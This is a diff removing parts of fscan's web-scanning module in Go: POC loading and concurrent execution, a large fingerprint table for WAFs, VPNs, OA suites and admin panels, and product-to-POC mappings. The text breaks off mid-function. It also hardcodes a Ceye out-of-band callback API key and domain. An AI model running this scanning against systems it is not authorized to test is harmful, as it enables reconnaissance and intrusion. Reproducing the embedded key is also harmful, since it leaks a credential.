||||
} else {
|
||||
// 根据指纹信息选择POC扫描
|
||||
for _, infostr := range info.Infostr {
|
||||
pocinfo.PocName = lib.CheckInfoPoc(infostr)
|
||||
Execute(pocinfo)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Execute 执行具体的POC检测
|
||||
func Execute(PocInfo Common.PocInfo) {
|
||||
// 创建基础HTTP请求
|
||||
req, err := http.NewRequest("GET", PocInfo.Target, nil)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("初始化请求失败 %v: %v", PocInfo.Target, err))
|
||||
return
|
||||
}
|
||||
|
||||
// 设置请求头
|
||||
req.Header.Set("User-agent", Common.UserAgent)
|
||||
req.Header.Set("Accept", Common.Accept)
|
||||
req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
|
||||
if Common.Cookie != "" {
|
||||
req.Header.Set("Cookie", Common.Cookie)
|
||||
}
|
||||
|
||||
// 根据名称筛选POC并执行
|
||||
pocs := filterPoc(PocInfo.PocName)
|
||||
lib.CheckMultiPoc(req, pocs, Common.PocNum)
|
||||
}
|
||||
|
||||
// initpoc 初始化POC加载
|
||||
func initpoc() {
|
||||
if Common.PocPath == "" {
|
||||
// 从嵌入的POC目录加载
|
||||
entries, err := Pocs.ReadDir("pocs")
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("加载内置POC失败: %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
// 加载YAML格式的POC文件
|
||||
for _, entry := range entries {
|
||||
filename := entry.Name()
|
||||
if strings.HasSuffix(filename, ".yaml") || strings.HasSuffix(filename, ".yml") {
|
||||
if poc, err := lib.LoadPoc(filename, Pocs); err == nil && poc != nil {
|
||||
AllPocs = append(AllPocs, poc)
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// 从指定目录加载POC
|
||||
Common.LogSuccess(fmt.Sprintf("[*] 从目录加载POC: %s", Common.PocPath))
|
||||
err := filepath.Walk(Common.PocPath, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil || info == nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if !info.IsDir() && (strings.HasSuffix(path, ".yaml") || strings.HasSuffix(path, ".yml")) {
|
||||
if poc, err := lib.LoadPocbyPath(path); err == nil && poc != nil {
|
||||
AllPocs = append(AllPocs, poc)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] 加载外部POC失败: %v", err))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// filterPoc 根据POC名称筛选
|
||||
func filterPoc(pocname string) []*lib.Poc {
|
||||
if pocname == "" {
|
||||
return AllPocs
|
||||
}
|
||||
|
||||
var matchedPocs []*lib.Poc
|
||||
for _, poc := range AllPocs {
|
||||
if strings.Contains(poc.Name, pocname) {
|
||||
matchedPocs = append(matchedPocs, poc)
|
||||
}
|
||||
}
|
||||
return matchedPocs
|
||||
}
|
||||
@@ -1,314 +0,0 @@
|
||||
package info
|
||||
|
||||
type RuleData struct {
|
||||
Name string
|
||||
Type string
|
||||
Rule string
|
||||
}
|
||||
|
||||
type Md5Data struct {
|
||||
Name string
|
||||
Md5Str string
|
||||
}
|
||||
|
||||
type PocData struct {
|
||||
Name string
|
||||
Alias string
|
||||
}
|
||||
|
||||
var RuleDatas = []RuleData{
|
||||
{"宝塔", "code", "(app.bt.cn/static/app.png|安全入口校验失败|<title>入口校验失败</title>|href=\"http://www.bt.cn/bbs)"},
|
||||
{"深信服防火墙类产品", "code", "(SANGFOR FW)"},
|
||||
{"360网站卫士", "code", "(webscan.360.cn/status/pai/hash|wzws-waf-cgi|zhuji.360.cn/guard/firewall/stopattack.html)"},
|
||||
{"360网站卫士", "headers", "(360wzws|CWAP-waf|zhuji.360.cn|X-Safe-Firewall)"},
|
||||
{"绿盟防火墙", "code", "(NSFOCUS NF)"},
|
||||
{"绿盟防火墙", "headers", "(NSFocus)"},
|
||||
{"Topsec-Waf", "index", `(<META NAME="Copyright" CONTENT="Topsec Network Security Technology Co.,Ltd"/>","<META NAME="DESCRIPTION" CONTENT="Topsec web UI"/>)`},
|
||||
{"Anquanbao", "headers", "(Anquanbao)"},
|
||||
{"BaiduYunjiasu", "headers", "(yunjiasu)"},
|
||||
{"BigIP", "headers", "(BigIP|BIGipServer)"},
|
||||
{"BinarySEC", "headers", "(binarysec)"},
|
||||
{"BlockDoS", "headers", "(BlockDos.net)"},
|
||||
{"CloudFlare", "headers", "(cloudflare)"},
|
||||
{"Cloudfront", "headers", "(cloudfront)"},
|
||||
{"Comodo", "headers", "(Protected by COMODO)"},
|
||||
{"IBM-DataPower", "headers", "(X-Backside-Transport)"},
|
||||
{"DenyAll", "headers", "(sessioncookie=)"},
|
||||
{"dotDefender", "headers", "(dotDefender)"},
|
||||
{"Incapsula", "headers", "(X-CDN|Incapsula)"},
|
||||
{"Jiasule", "headers", "(jsluid=)"},
|
||||
{"KONA", "headers", "(AkamaiGHost)"},
|
||||
{"ModSecurity", "headers", "(Mod_Security|NOYB)"},
|
||||
{"NetContinuum", "headers", "(Cneonction|nnCoection|citrix_ns_id)"},
|
||||
{"Newdefend", "headers", "(newdefend)"},
|
||||
{"Safe3", "headers", "(Safe3WAF|Safe3 Web Firewall)"},
|
||||
{"Safedog", "code", "(404.safedog.cn/images/safedogsite/broswer_logo.jpg)"},
|
||||
{"Safedog", "headers", "(Safedog|WAF/2.0)"},
|
||||
{"SonicWALL", "headers", "(SonicWALL)"},
|
||||
{"Stingray", "headers", "(X-Mapping-)"},
|
||||
{"Sucuri", "headers", "(Sucuri/Cloudproxy)"},
|
||||
{"Usp-Sec", "headers", "(Secure Entry Server)"},
|
||||
{"Varnish", "headers", "(varnish)"},
|
||||
{"Wallarm", "headers", "(wallarm)"},
|
||||
{"阿里云", "code", "(errors.aliyun.com)"},
|
||||
{"WebKnight", "headers", "(WebKnight)"},
|
||||
{"Yundun", "headers", "(YUNDUN)"},
|
||||
{"Yunsuo", "headers", "(yunsuo)"},
|
||||
{"Coding pages", "header", "(Coding Pages)"},
|
||||
{"启明防火墙", "code", "(/cgi-bin/webui?op=get_product_model)"},
|
||||
{"Shiro", "headers", "(=deleteMe|rememberMe=)"},
|
||||
{"Portainer(Docker管理)", "code", "(portainer.updatePassword|portainer.init.admin)"},
|
||||
{"Gogs简易Git服务", "cookie", "(i_like_gogs)"},
|
||||
{"Gitea简易Git服务", "cookie", "(i_like_gitea)"},
|
||||
{"Nexus", "code", "(Nexus Repository Manager)"},
|
||||
{"Nexus", "cookie", "(NX-ANTI-CSRF-TOKEN)"},
|
||||
{"Harbor", "code", "(<title>Harbor</title>)"},
|
||||
{"Harbor", "cookie", "(harbor-lang)"},
|
||||
{"禅道", "code", "(/theme/default/images/main/zt-logo.png|/zentao/theme/zui/css/min.css)"},
|
||||
{"禅道", "cookie", "(zentaosid)"},
|
||||
{"协众OA", "code", "(Powered by 协众OA)"},
|
||||
{"协众OA", "cookie", "(CNOAOASESSID)"},
|
||||
{"xxl-job", "code", "(分布式任务调度平台XXL-JOB)"},
|
||||
{"atmail-WebMail", "cookie", "(atmail6)"},
|
||||
{"atmail-WebMail", "code", "(/index.php/mail/auth/processlogin|Powered by Atmail)"},
|
||||
{"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|<i>Hypertext Transfer Protocol -- HTTP/1.1</i>)"},
|
||||
{"致远OA", "code", "(/seeyon/common/|/seeyon/USER-DATA/IMAGES/LOGIN/login.gif)"},
|
||||
{"discuz", "code", "(content=\"Discuz! X\")"},
|
||||
{"Typecho", "code", "(Typecho</a>)"},
|
||||
{"金蝶EAS", "code", "(easSessionId)"},
|
||||
{"phpMyAdmin", "cookie", "(pma_lang|phpMyAdmin)"},
|
||||
{"phpMyAdmin", "code", "(/themes/pmahomme/img/logo_right.png)"},
|
||||
{"H3C-AM8000", "code", "(AM8000)"},
|
||||
{"360企业版", "code", "(360EntWebAdminMD5Secret)"},
|
||||
{"H3C公司产品", "code", "([email protected])"},
|
||||
{"H3C ICG 1000", "code", "(ICG 1000系统管理)"},
|
||||
{"Citrix-Metaframe", "code", "(window.location=\"/Citrix/MetaFrame)"},
|
||||
{"H3C ER5100", "code", "(ER5100系统管理)"},
|
||||
{"阿里云CDN", "code", "(cdn.aliyuncs.com)"},
|
||||
{"CISCO_EPC3925", "code", "(Docsis_system)"},
|
||||
{"CISCO ASR", "code", "(CISCO ASR)"},
|
||||
{"H3C ER3200", "code", "(ER3200系统管理)"},
|
||||
{"万户oa", "code", "(/defaultroot/templates/template_system/common/css/|/defaultroot/scripts/|css/css_whir.css)"},
|
||||
{"Spark_Master", "code", "(Spark Master at)"},
|
||||
{"华为_HUAWEI_SRG2220", "code", "(HUAWEI SRG2220)"},
|
||||
{"蓝凌OA", "code", "(/scripts/jquery.landray.common.js)"},
|
||||
{"深信服ssl-vpn", "code", "(login_psw.csp)"},
|
||||
{"华为 NetOpen", "code", "(/netopen/theme/css/inFrame.css)"},
|
||||
{"Citrix-Web-PN-Server", "code", "(Citrix Web PN Server)"},
|
||||
{"juniper_vpn", "code", "(welcome.cgi?p=logo|/images/logo_juniper_reversed.gif)"},
|
||||
{"360主机卫士", "headers", "(zhuji.360.cn)"},
|
||||
{"Nagios", "headers", "(Nagios Access)"},
|
||||
{"H3C ER8300", "code", "(ER8300系统管理)"},
|
||||
{"Citrix-Access-Gateway", "code", "(Citrix Access Gateway)"},
|
||||
{"华为 MCU", "code", "(McuR5-min.js)"},
|
||||
{"TP-LINK Wireless WDR3600", "code", "(TP-LINK Wireless WDR3600)"},
|
||||
{"泛微OA", "headers", "(ecology_JSessionid)"},
|
||||
{"泛微OA", "code", "(/spa/portal/public/index.js)"},
|
||||
{"华为_HUAWEI_ASG2050", "code", "(HUAWEI ASG2050)"},
|
||||
{"360网站卫士", "code", "(360wzb)"},
|
||||
{"Citrix-XenServer", "code", "(Citrix Systems, Inc. XenServer)"},
|
||||
{"H3C ER2100V2", "code", "(ER2100V2系统管理)"},
|
||||
{"zabbix", "cookie", "(zbx_sessionid)"},
|
||||
{"zabbix", "code", "(images/general/zabbix.ico|Zabbix SIA|zabbix-server: Zabbix)"},
|
||||
{"CISCO_VPN", "headers", "(webvpn)"},
|
||||
{"360站长平台", "code", "(360-site-verification)"},
|
||||
{"H3C ER3108GW", "code", "(ER3108GW系统管理)"},
|
||||
{"o2security_vpn", "headers", "(client_param=install_active)"},
|
||||
{"H3C ER3260G2", "code", "(ER3260G2系统管理)"},
|
||||
{"H3C ICG1000", "code", "(ICG1000系统管理)"},
|
||||
{"CISCO-CX20", "code", "(CISCO-CX20)"},
|
||||
{"H3C ER5200", "code", "(ER5200系统管理)"},
|
||||
{"linksys-vpn-bragap14-parintins", "code", "(linksys-vpn-bragap14-parintins)"},
|
||||
{"360网站卫士常用前端公共库", "code", "(libs.useso.com)"},
|
||||
{"H3C ER3100", "code", "(ER3100系统管理)"},
|
||||
{"H3C-SecBlade-FireWall", "code", "(js/MulPlatAPI.js)"},
|
||||
{"360webfacil_360WebManager", "code", "(publico/template/)"},
|
||||
{"Citrix_Netscaler", "code", "(ns_af)"},
|
||||
{"H3C ER6300G2", "code", "(ER6300G2系统管理)"},
|
||||
{"H3C ER3260", "code", "(ER3260系统管理)"},
|
||||
{"华为_HUAWEI_SRG3250", "code", "(HUAWEI SRG3250)"},
|
||||
{"exchange", "code", "(/owa/auth.owa|Exchange Admin Center)"},
|
||||
{"Spark_Worker", "code", "(Spark Worker at)"},
|
||||
{"H3C ER3108G", "code", "(ER3108G系统管理)"},
|
||||
{"Citrix-ConfProxy", "code", "(confproxy)"},
|
||||
{"360网站安全检测", "code", "(webscan.360.cn/status/pai/hash)"},
|
||||
{"H3C ER5200G2", "code", "(ER5200G2系统管理)"},
|
||||
{"华为(HUAWEI)安全设备", "code", "(sweb-lib/resource/)"},
|
||||
{"华为(HUAWEI)USG", "code", "(UI_component/commonDefine/UI_regex_define.js)"},
|
||||
{"H3C ER6300", "code", "(ER6300系统管理)"},
|
||||
{"华为_HUAWEI_ASG2100", "code", "(HUAWEI ASG2100)"},
|
||||
{"TP-Link 3600 DD-WRT", "code", "(TP-Link 3600 DD-WRT)"},
|
||||
{"NETGEAR WNDR3600", "code", "(NETGEAR WNDR3600)"},
|
||||
{"H3C ER2100", "code", "(ER2100系统管理)"},
|
||||
{"jira", "code", "(jira.webresources)"},
|
||||
{"金和协同管理平台", "code", "(金和协同管理平台)"},
|
||||
{"Citrix-NetScaler", "code", "(NS-CACHE)"},
|
||||
{"linksys-vpn", "headers", "(linksys-vpn)"},
|
||||
{"通达OA", "code", "(/static/images/tongda.ico|http://www.tongda2000.com|通达OA移动版|Office Anywhere)"},
|
||||
{"华为(HUAWEI)Secoway设备", "code", "(Secoway)"},
|
||||
{"华为_HUAWEI_SRG1220", "code", "(HUAWEI SRG1220)"},
|
||||
{"H3C ER2100n", "code", "(ER2100n系统管理)"},
|
||||
{"H3C ER8300G2", "code", "(ER8300G2系统管理)"},
|
||||
{"金蝶政务GSiS", "code", "(/kdgs/script/kdgs.js)"},
|
||||
{"Jboss", "code", "(Welcome to JBoss|jboss.css)"},
|
||||
{"Jboss", "headers", "(JBoss)"},
|
||||
{"泛微E-mobile", "code", "(Weaver E-mobile|weaver,e-mobile)"},
|
||||
{"泛微E-mobile", "headers", "(EMobileServer)"},
|
||||
{"齐治堡垒机", "code", "(logo-icon-ico72.png|resources/themes/images/logo-login.png)"},
|
||||
{"ThinkPHP", "headers", "(ThinkPHP)"},
|
||||
{"ThinkPHP", "code", "(/Public/static/js/)"},
|
||||
{"weaver-ebridge", "code", "(e-Bridge,http://wx.weaver)"},
|
||||
{"Laravel", "headers", "(laravel_session)"},
|
||||
{"DWR", "code", "(dwr/engine.js)"},
|
||||
{"swagger_ui", "code", "(swagger-ui/css|\"swagger\":|swagger-ui.min.js)"},
|
||||
{"大汉版通发布系统", "code", "(大汉版通发布系统|大汉网络)"},
|
||||
{"druid", "code", "(druid.index|DruidDrivers|DruidVersion|Druid Stat Index)"},
|
||||
{"Jenkins", "code", "(Jenkins)"},
|
||||
{"红帆OA", "code", "(iOffice)"},
|
||||
{"VMware vSphere", "code", "(VMware vSphere)"},
|
||||
{"打印机", "code", "(打印机|media/canon.gif)"},
|
||||
{"finereport", "code", "(isSupportForgetPwd|FineReport,Web Reporting Tool)"},
|
||||
{"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization|sys/ui/extend/theme/default/style/profile.css|sys/ui/extend/theme/default/style/icon.css)"},
|
||||
{"GitLab", "code", "(href=\"https://about.gitlab.com/)"},
|
||||
{"Jquery-1.7.2", "code", "(/webui/js/jquerylib/jquery-1.7.2.min.js)"},
|
||||
{"Hadoop Applications", "code", "(/cluster/app/application)"},
|
||||
{"海昌OA", "code", "(/loginmain4/js/jquery.min.js)"},
|
||||
{"帆软报表", "code", "(WebReport/login.html|ReportServer)"},
|
||||
{"帆软报表", "headers", "(数据决策系统)"},
|
||||
{"华夏ERP", "headers", "(华夏ERP)"},
|
||||
{"金和OA", "cookie", "(ASPSESSIONIDSSCDTDBS)"},
|
||||
{"久其财务报表", "code", "(netrep/login.jsp|/netrep/intf)"},
|
||||
{"若依管理系统", "code", "(ruoyi/login.js|ruoyi/js/ry-ui.js)"},
|
||||
{"启莱OA", "code", "(js/jQselect.js|js/jquery-1.4.2.min.js)"},
|
||||
{"智慧校园管理系统", "code", "(DC_Login/QYSignUp)"},
|
||||
{"JQuery-1.7.2", "code", "(webui/js/jquerylib/jquery-1.7.2.min.js)"},
|
||||
{"浪潮 ClusterEngineV4.0", "code", "(0;url=module/login/login.html)"},
|
||||
{"会捷通云视讯平台", "code", "(him/api/rest/v1.0/node/role|him.app)"},
|
||||
{"源码泄露账号密码 F12查看", "code", "(get_dkey_passwd)"},
|
||||
{"Smartbi Insight", "code", "(smartbi.gcf.gcfutil)"},
|
||||
{"汉王人脸考勤管理系统", "code", "(汉王人脸考勤管理系统|/Content/image/hanvan.png|/Content/image/hvicon.ico)"},
|
||||
{"亿赛通-电子文档安全管理系统", "code", "(电子文档安全管理系统|/CDGServer3/index.jsp|/CDGServer3/SysConfig.jsp|/CDGServer3/help/getEditionInfo.jsp)"},
|
||||
{"天融信 TopApp-LB 负载均衡系统", "code", "(TopApp-LB 负载均衡系统)"},
|
||||
{"中新金盾信息安全管理系统", "code", "(中新金盾信息安全管理系统|中新网络信息安全股份有限公司)"},
|
||||
{"好视通", "code", "(深圳银澎云计算有限公司|itunes.apple.com/us/app/id549407870|hao-shi-tong-yun-hui-yi-yuan)"},
|
||||
{"蓝海卓越计费管理系统", "code", "(蓝海卓越计费管理系统|星锐蓝海网络科技有限公司)"},
|
||||
{"和信创天云桌面系统", "code", "(和信下一代云桌面VENGD|/vesystem/index.php)"},
|
||||
{"金山", "code", "(北京猎鹰安全科技有限公司|金山终端安全系统V9.0Web控制台|北京金山安全管理系统技术有限公司|金山V8)"},
|
||||
{"WIFISKY-7层流控路由器", "code", "(深圳市领空技术有限公司|WIFISKY 7层流控路由器)"},
|
||||
{"MetInfo-米拓建站", "code", "(MetInfo|/skin/style/metinfo.css|/skin/style/metinfo-v2.css)"},
|
||||
{"IBM-Lotus-Domino", "code", "(/mailjump.nsf|/domcfg.nsf|/names.nsf|/homepage.nsf)"},
|
||||
{"APACHE-kylin", "code", "(url=kylin)"},
|
||||
{"C-Lodop打印服务系统", "code", "(/CLodopfuncs.js|www.c-lodop.com)"},
|
||||
{"HFS", "code", "(href=\"http://www.rejetto.com/hfs/)"},
|
||||
{"Jellyfin", "code", "(content=\"http://jellyfin.org\")"},
|
||||
{"FIT2CLOUD-JumpServer-堡垒机", "code", "(<title>JumpServer</title>)"},
|
||||
{"Alibaba Nacos", "code", "(<title>Nacos</title>)"},
|
||||
{"Nagios", "headers", "(nagios admin)"},
|
||||
{"Pulse Connect Secure", "code", "(/dana-na/imgs/space.gif)"},
|
||||
{"h5ai", "code", "(powered by h5ai)"},
|
||||
{"jeesite", "cookie", "(jeesite.session.id)"},
|
||||
{"拓尔思SSO", "cookie", "(trsidsssosessionid)"},
|
||||
{"拓尔思WCMv7/6", "cookie", "(com.trs.idm.coSessionId)"},
|
||||
{"天融信脆弱性扫描与管理系统", "code", "(/js/report/horizontalReportPanel.js)"},
|
||||
{"天融信网络审计系统", "code", "(onclick=dlg_download())"},
|
||||
{"天融信日志收集与分析系统", "code", "(天融信日志收集与分析系统)"},
|
||||
{"URP教务系统", "code", "(北京清元优软科技有限公司)"},
|
||||
{"科来RAS", "code", "(科来软件 版权所有|i18ninit.min.js)"},
|
||||
{"正方OA", "code", "(zfoausername)"},
|
||||
{"希尔OA", "code", "(/heeroa/login.do)"},
|
||||
{"泛普建筑工程施工OA", "code", "(/dwr/interface/LoginService.js)"},
|
||||
{"中望OA", "code", "(/IMAGES/default/first/xtoa_logo.png|/app_qjuserinfo/qjuserinfoadd.jsp)"},
|
||||
{"海天OA", "code", "(HTVOS.js)"},
|
||||
{"信达OA", "code", "(http://www.xdoa.cn</a>)"},
|
||||
{"任我行CRM", "code", "(CRM_LASTLOGINUSERKEY)"},
|
||||
{"Spammark邮件信息安全网关", "code", "(/cgi-bin/spammark?empty=1)"},
|
||||
{"winwebmail", "code", "(WinWebMail Server|images/owin.css)"},
|
||||
{"浪潮政务系统", "code", "(LangChao.ECGAP.OutPortal|OnlineQuery/QueryList.aspx)"},
|
||||
{"天融信防火墙", "code", "(/cgi/maincgi.cgi)"},
|
||||
{"网神防火墙", "code", "(css/lsec/login.css)"},
|
||||
{"帕拉迪统一安全管理和综合审计系统", "code", "(module/image/pldsec.css)"},
|
||||
{"蓝盾BDWebGuard", "code", "(BACKGROUND: url(images/loginbg.jpg) #e5f1fc)"},
|
||||
{"Huawei SMC", "code", "(Script/SmcScript.js?version=)"},
|
||||
{"coremail", "code", "(/coremail/bundle/|contextRoot: \"/coremail\"|coremail/common)"},
|
||||
{"activemq", "code", "(activemq_logo|Manage ActiveMQ broker)"},
|
||||
{"锐捷网络", "code", "(static/img/title.ico|support.ruijie.com.cn|Ruijie - NBR|eg.login.loginBtn)"},
|
||||
{"禅道", "code", "(/theme/default/images/main/zt-logo.png|zentaosid)"},
|
||||
{"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|<i>Hypertext Transfer Protocol -- HTTP/1.1</i>|<TITLE>Error 404--Not Found</TITLE>|Welcome to Weblogic Application Server|<title>Oracle WebLogic Server 管理控制台</title>)"},
|
||||
{"weblogic", "headers", "(WebLogic)"},
|
||||
{"致远OA", "code", "(/seeyon/USER-DATA/IMAGES/LOGIN/login.gif|/seeyon/common/)"},
|
||||
{"蓝凌EIS智慧协同平台", "code", "(/scripts/jquery.landray.common.js)"},
|
||||
{"深信服ssl-vpn", "code", "(login_psw.csp|loginPageSP/loginPrivacy.js|/por/login_psw.csp)"},
|
||||
{"Struts2", "code", "(org.apache.struts2|Struts Problem Report|struts.devMode|struts-tags|There is no Action mapped for namespace)"},
|
||||
{"泛微OA", "code", "(/spa/portal/public/index.js|wui/theme/ecology8/page/images/login/username_wev8.png|/wui/index.html#/?logintype=1)"},
|
||||
{"Swagger UI", "code", "(/swagger-ui.css|swagger-ui-bundle.js|swagger-ui-standalone-preset.js)"},
|
||||
{"金蝶政务GSiS", "code", "(/kdgs/script/kdgs.js|HTML5/content/themes/kdcss.min.css|/ClientBin/Kingdee.BOS.XPF.App.xap)"},
|
||||
{"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization|sys/ui/extend/theme/default/style/icon.css|sys/ui/extend/theme/default/style/profile.css)"},
|
||||
{"用友NC", "code", "(Yonyou UAP|YONYOU NC|/Client/Uclient/UClient.dmg|logo/images/ufida_nc.png|iufo/web/css/menu.css|/System/Login/Login.asp?AppID=|/nc/servlet/nc.ui.iufo.login.Index)"},
|
||||
{"用友IUFO", "code", "(iufo/web/css/menu.css)"},
|
||||
{"TELEPORT堡垒机", "code", "(/static/plugins/blur/background-blur.js)"},
|
||||
{"JEECMS", "code", "(/r/cms/www/red/js/common.js|/r/cms/www/red/js/indexshow.js|Powered by JEECMS|JEECMS|/jeeadmin/jeecms/index.do)"},
|
||||
{"CMS", "code", "(Powered by .*CMS)"},
|
||||
{"目录遍历", "code", "(Directory listing for /)"},
|
||||
{"ATLASSIAN-Confluence", "code", "(com.atlassian.confluence)"},
|
||||
{"ATLASSIAN-Confluence", "headers", "(X-Confluence)"},
|
||||
{"向日葵", "code", "({\"success\":false,\"msg\":\"Verification failure\"})"},
|
||||
{"Kubernetes", "code", "(Kubernetes Dashboard</title>|Kubernetes Enterprise Manager|Mirantis Kubernetes Engine|Kubernetes Resource Report)"},
|
||||
{"WordPress", "code", "(/wp-login.php?action=lostpassword|WordPress</title>)"},
|
||||
{"RabbitMQ", "code", "(RabbitMQ Management)"},
|
||||
{"dubbo", "headers", "(Basic realm=\"dubbo\")"},
|
||||
{"Spring env", "code", "(logback)"},
|
||||
{"ueditor", "code", "(ueditor.all.js|UE.getEditor)"},
|
||||
{"亿邮电子邮件系统", "code", "(亿邮电子邮件系统|亿邮邮件整体解决方案)"},
|
||||
}
|
||||
|
||||
var Md5Datas = []Md5Data{
|
||||
{"BIG-IP", "04d9541338e525258daf47cc844d59f3"},
|
||||
{"蓝凌OA", "302464c3f6207d57240649926cfc7bd4"},
|
||||
{"JBOSS", "799f70b71314a7508326d1d2f68f7519"},
|
||||
{"锐捷网络", "d8d7c9138e93d43579ebf2e384745ba8"},
|
||||
{"锐捷网络", "9c21df9129aeec032df8ac15c84e050d"},
|
||||
{"锐捷网络", "a45883b12d753bc87aff5bddbef16ab3"},
|
||||
{"深信服edr", "0b24d4d5c7d300d50ee1cd96059a9e85"},
|
||||
{"致远OA", "cdc85452665e7708caed3009ecb7d4e2"},
|
||||
{"致远OA", "17ac348fcce0b320e7bfab3fe2858dfa"},
|
||||
{"致远OA", "57f307ad3764553df84e7b14b7a85432"},
|
||||
{"致远OA", "3c8df395ec2cbd72782286d18a286a9a"},
|
||||
{"致远OA", "2f761c27b6b7f9386bbd61403635dc42"},
|
||||
{"齐治堡垒机", "48ee373f098d8e96e53b7dd778f09ff4"},
|
||||
{"SpringBoot", "0488faca4c19046b94d07c3ee83cf9d6"},
|
||||
{"ThinkPHP", "f49c4a4bde1eec6c0b80c2277c76e3db"},
|
||||
{"通达OA", "ed0044587917c76d08573577c8b72883"},
|
||||
{"泛微E-mobile", "41eca7a9245394106a09b2534d8030df"},
|
||||
{"泛微OA", "c27547e27e1d2c7514545cd8d5988946"},
|
||||
{"泛微OA", "9b1d3f08ede38dbe699d6b2e72a8febb"},
|
||||
{"泛微OA", "281348dd57383c1f214ffb8aed3a1210"},
|
||||
{"GitLab", "85c754581e1d4b628be5b7712c042224"},
|
||||
{"Hikvision-视频监控", "89b932fcc47cf4ca3faadb0cfdef89cf"},
|
||||
{"华夏erp", "c68b15c45cf80115a943772f7d0028a6"},
|
||||
{"OpenSNS", "08711abfb016a55c0e84f7b54bef5632"},
|
||||
{"MetInfo-米拓建站", "2a9541b5c2225ed2f28734c0d75e456f"},
|
||||
{"IBM-Lotus-Domino", "36c1002bb579edf52a472b9d2e39bb50"},
|
||||
{"IBM-Lotus-Domino", "639b61409215d770a99667b446c80ea1"},
|
||||
{"ATLASSIAN-Confluence", "b91d19259cf480661ef93b67beb45234"},
|
||||
{"activemq", "05664fb0c7afcd6436179437e31f3aa6"},
|
||||
{"coremail", "ad74ff8f9a2f630fc2c5e6b3aa0a5cb8"},
|
||||
}
|
||||
|
||||
var PocDatas = []PocData{
|
||||
{"致远OA", "seeyon"},
|
||||
{"泛微OA", "weaver"},
|
||||
{"通达OA", "tongda"},
|
||||
{"蓝凌OA", "landray"},
|
||||
{"ThinkPHP", "thinkphp"},
|
||||
{"Nexus", "nexus"},
|
||||
{"齐治堡垒机", "qizhi"},
|
||||
{"weaver-ebridge", "weaver-ebridge"},
|
||||
{"weblogic", "weblogic"},
|
||||
{"zabbix", "zabbix"},
|
||||
{"VMware vSphere", "vmware"},
|
||||
{"Jboss", "jboss"},
|
||||
{"用友", "yongyou"},
|
||||
{"用友IUFO", "yongyou"},
|
||||
{"coremail", "coremail"},
|
||||
{"金山", "kingsoft"},
|
||||
}
|
||||
@@ -1,729 +0,0 @@
|
||||
package lib
|
||||
|
||||
import (
|
||||
"crypto/md5"
|
||||
"fmt"
|
||||
"github.com/google/cel-go/cel"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"github.com/shadow1ng/fscan/WebScan/info"
|
||||
"math/rand"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// API配置常量
|
||||
const (
|
||||
ceyeApi = "a78a1cb49d91fe09e01876078d1868b2" // Ceye平台的API密钥
|
||||
ceyeDomain = "7wtusr.ceye.io" // Ceye平台的域名
|
||||
)
|
||||
|
||||
// Task 定义单个POC检测任务的结构体
|
||||
type Task struct {
|
||||
Req *http.Request // HTTP请求对象
|
||||
Poc *Poc // POC检测脚本
|
||||
}
|
||||
|
||||
// CheckMultiPoc 并发执行多个POC检测
|
||||
// 参数说明:
|
||||
// - req: HTTP请求对象
|
||||
// - pocs: POC检测脚本列表
|
||||
// - workers: 并发工作协程数量
|
||||
func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) {
|
||||
if workers <= 0 {
|
||||
workers = 1 // 确保至少有一个工作协程
|
||||
}
|
||||
|
||||
tasks := make(chan Task, len(pocs)) // 使用带缓冲的通道,避免阻塞
|
||||
var wg sync.WaitGroup
|
||||
|
||||
// 启动工作协程池
|
||||
for i := 0; i < workers; i++ {
|
||||
go func() {
|
||||
for task := range tasks {
|
||||
// 执行POC检测
|
||||
isVulnerable, details, vulName := executePoc(task.Req, task.Poc)
|
||||
|
||||
if isVulnerable {
|
||||
// 格式化输出结果
|
||||
result := fmt.Sprintf("[+] [发现漏洞] 目标: %s\n"+
|
||||
" 漏洞类型: %s\n"+
|
||||
" 漏洞名称: %s\n"+
|
||||
" 详细信息: %s",
|
||||
task.Req.URL,
|
||||
task.Poc.Name,
|
||||
vulName,
|
||||
details)
|
||||
|
||||
Common.LogSuccess(result)
|
||||
}
|
||||
wg.Done()
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// 分发任务
|
||||
for _, poc := range pocs {
|
||||
wg.Add(1)
|
||||
tasks <- Task{
|
||||
Req: req,
|
||||
Poc: poc,
|
||||
}
|
||||
}
|
||||
|
||||
// 等待所有任务完成
|
||||
wg.Wait()
|
||||
close(tasks)
|
||||
}
|
||||
|
||||
// executePoc 执行单个POC检测
|
||||
func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
|
||||
// 初始化环境配置
|
||||
config := NewEnvOption()
|
||||
config.UpdateCompileOptions(p.Set)
|
||||
|
||||
// 处理额外的设置项
|
||||
if len(p.Sets) > 0 {
|
||||
var setMap StrMap
|
||||
for _, item := range p.Sets {
|
||||
value := ""
|
||||
if len(item.Value) > 0 {
|
||||
value = item.Value[0]
|
||||
}
|
||||
setMap = append(setMap, StrItem{item.Key, value})
|
||||
}
|
||||
config.UpdateCompileOptions(setMap)
|
||||
}
|
||||
|
||||
// 创建执行环境
|
||||
env, err := NewEnv(&config)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("[-] 创建%s的执行环境失败: %v", p.Name, err), ""
|
||||
}
|
||||
|
||||
// 解析请求
|
||||
req, err := ParseRequest(oReq)
|
||||
if err != nil {
|
||||
